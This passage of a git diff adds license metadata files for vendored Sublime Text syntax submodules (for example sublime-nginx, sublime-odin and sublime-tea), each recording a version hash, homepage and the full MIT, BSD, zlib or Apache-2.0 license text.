+    IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+    OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+    ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+    OTHER DEALINGS IN THE SOFTWARE.
+
+    For more information, please refer to <https://unlicense.org>
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-netlinx.dep.yml b/vendor/licenses/git_submodule/sublime-netlinx.dep.yml
new file mode 100644
index 0000000000..a9db00ca38
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-netlinx.dep.yml
@@ -0,0 +1,21 @@
+---
+type: git_submodule
+name: sublime-netlinx
+version: f4a70bd37a65d4cbd56b7fb4f393ed6c1d4dfbde
+license: mit
+licenses:
+- text: "The MIT License (MIT)\r\n\r\nCopyright (c) 2013-2015 Alex McLain\r\n\r\nPermission
+    is hereby granted, free of charge, to any person obtaining a copy\r\nof this software
+    and associated documentation files (the \"Software\"), to deal\r\nin the Software
+    without restriction, including without limitation the rights\r\nto use, copy,
+    modify, merge, publish, distribute, sublicense, and/or sell\r\ncopies of the Software,
+    and to permit persons to whom the Software is\r\nfurnished to do so, subject to
+    the following conditions:\r\n\r\nThe above copyright notice and this permission
+    notice shall be included in\r\nall copies or substantial portions of the Software.\r\n\r\nTHE
+    SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\nIMPLIED,
+    INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\nFITNESS FOR
+    A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\nAUTHORS OR
+    COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\nLIABILITY, WHETHER
+    IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\nOUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\r\nTHE SOFTWARE."
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-nginx.dep.yml b/vendor/licenses/git_submodule/sublime-nginx.dep.yml
new file mode 100644
index 0000000000..54c1207520
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-nginx.dep.yml
@@ -0,0 +1,34 @@
+---
+name: sublime-nginx
+version: f7a08a8c40caae3e423805dfe7b644d06c9ceff4
+type: git_submodule
+homepage: https://github.com/brandonwamboldt/sublime-nginx
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    The MIT License (MIT)
+    =====================
+
+    The MIT License (MIT)
+
+    Copyright (c) 2014 Brandon Wamboldt
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-odin.dep.yml b/vendor/licenses/git_submodule/sublime-odin.dep.yml
new file mode 100644
index 0000000000..736f50cebf
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-odin.dep.yml
@@ -0,0 +1,31 @@
+---
+name: sublime-odin
+version: a6a2672ec0fd1a12ed4d8d221384128a73e026ae
+type: git_submodule
+homepage: https://github.com/odin-lang/sublime-odin
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2019 Ginger Bill
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-opal.dep.yml b/vendor/licenses/git_submodule/sublime-opal.dep.yml
new file mode 100644
index 0000000000..f80781703d
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-opal.dep.yml
@@ -0,0 +1,31 @@
+---
+name: sublime-opal
+version: d00af3d31b5aea29a3151ac2ac74b3e5195952bb
+type: git_submodule
+homepage: https://github.com/artifactz/sublime-opal
+license: mit
+licenses:
+- sources: LICENSE.txt
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2014 artifactz
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-pony.dep.yml b/vendor/licenses/git_submodule/sublime-pony.dep.yml
new file mode 100644
index 0000000000..a4e51ed5c1
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-pony.dep.yml
@@ -0,0 +1,32 @@
+---
+name: sublime-pony
+version: 80f6c4dfbff2edc4e8546b33c983f4314de06630
+type: git_submodule
+homepage: https://github.com/CausalityLtd/sublime-pony
+license: bsd-2-clause
+licenses:
+- sources: LICENSE
+  text: |
+    Copyright (c) 2014-2015, Causality Ltd.
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions are met:
+
+    1. Redistributions of source code must retain the above copyright notice, this
+       list of conditions and the following disclaimer.
+    2. Redistributions in binary form must reproduce the above copyright notice,
+       this list of conditions and the following disclaimer in the documentation
+       and/or other materials provided with the distribution.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+    ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+    WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+    ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+    (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+    LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+    ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+    (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+    SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-promela-spin.dep.yml b/vendor/licenses/git_submodule/sublime-promela-spin.dep.yml
new file mode 100644
index 0000000000..7a5c603a89
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-promela-spin.dep.yml
@@ -0,0 +1,31 @@
+---
+name: sublime-promela-spin
+version: e96c52c08f9d63164f8817b3170c12bf73d37432
+type: git_submodule
+homepage: https://github.com/corbanmailloux/sublime-promela-spin.git
+license: mit
+licenses:
+- sources: LICENSE.txt
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2016 Corban Mailloux
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-q.dep.yml b/vendor/licenses/git_submodule/sublime-q.dep.yml
new file mode 100644
index 0000000000..18c5c86f95
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-q.dep.yml
@@ -0,0 +1,31 @@
+---
+name: sublime-q
+version: 236b80c1f32fbcb16d9ee7487a6f35b62a946af0
+type: git_submodule
+homepage: https://github.com/komsit37/sublime-q
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    MIT License
+
+    Copyright (c) 2016 Komsit Prakobphol
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-rexx.dep.yml b/vendor/licenses/git_submodule/sublime-rexx.dep.yml
new file mode 100644
index 0000000000..6dbee0e071
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-rexx.dep.yml
@@ -0,0 +1,31 @@
+---
+name: sublime-rexx
+version: e490bdbc0e5b7e50a365cc69fcc140fb1231156b
+type: git_submodule
+homepage: https://github.com/mblocker/rexx-sublime
+license: mit
+licenses:
+- sources: LICENSE.txt
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2016 Mike Blocker
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-robot-plugin.dep.yml b/vendor/licenses/git_submodule/sublime-robot-plugin.dep.yml
new file mode 100644
index 0000000000..d30bb1442c
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-robot-plugin.dep.yml
@@ -0,0 +1,211 @@
+---
+name: sublime-robot-plugin
+version: '07069ebf20c82663eee24e4c7d82cccca020e8e9'
+type: git_submodule
+homepage: https://github.com/shellderp/sublime-robot-plugin
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |
+    Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "{}"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright 2014 Mike Gershunovsky
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-shen.dep.yml b/vendor/licenses/git_submodule/sublime-shen.dep.yml
new file mode 100644
index 0000000000..882e999ce6
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-shen.dep.yml
@@ -0,0 +1,34 @@
+---
+type: git_submodule
+name: sublime-shen
+version: a26b161adf8e79220f7e69b94c4e467757c23dad
+license: bsd-3-clause
+licenses:
+- text: |-
+    Copyright (c) 2017, Robert Koeninger
+    All rights reserved.
+
+    https://opensource.org/licenses/BSD-3-Clause
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions are met:
+        * Redistributions of source code must retain the above copyright
+          notice, this list of conditions and the following disclaimer.
+        * Redistributions in binary form must reproduce the above copyright
+          notice, this list of conditions and the following disclaimer in the
+          documentation and/or other materials provided with the distribution.
+        * Neither the name of the <organization> nor the
+          names of its contributors may be used to endorse or promote products
+          derived from this software without specific prior written permission.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+    ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+    WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+    DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY
+    DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+    (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+    LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+    ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+    (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+    SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-spintools.dep.yml b/vendor/licenses/git_submodule/sublime-spintools.dep.yml
new file mode 100644
index 0000000000..77d00577c3
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-spintools.dep.yml
@@ -0,0 +1,38 @@
+---
+name: sublime-spintools
+version: c661bf71a25c3d99df2a2d08ba4bf0fd762af910
+type: git_submodule
+homepage: https://github.com/bitbased/sublime-spintools
+license: zlib
+licenses:
+- sources: LICENSE
+  text: |
+    Copyright (c) 2013 Brant Wedel
+
+    This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software.
+
+    Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions:
+
+    1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required.
+
+    2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software.
+
+    3. This notice may not be removed or altered from any source distribution.
+- sources: README.md
+  text: |-
+    sublimed-spintools is licensed under the [zlib](http://en.wikipedia.org/wiki/Zlib_license) license:
+
+    ---
+
+    Copyright (c) 2013 Brant Wedel
+
+    This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software.
+
+    Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions:
+
+    1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required.
+
+    2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software.
+
+    3. This notice may not be removed or altered from any source distribution.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-tea.dep.yml b/vendor/licenses/git_submodule/sublime-tea.dep.yml
new file mode 100644
index 0000000000..842ca78c62
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-tea.dep.yml
@@ -0,0 +1,209 @@
+---
+type: git_submodule
+name: sublime-tea
+version: 62b508c948bd7c500a80a898a8fa05bdc311c9d1
+license: apache-2.0
+licenses:
+- text: |-
+    Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
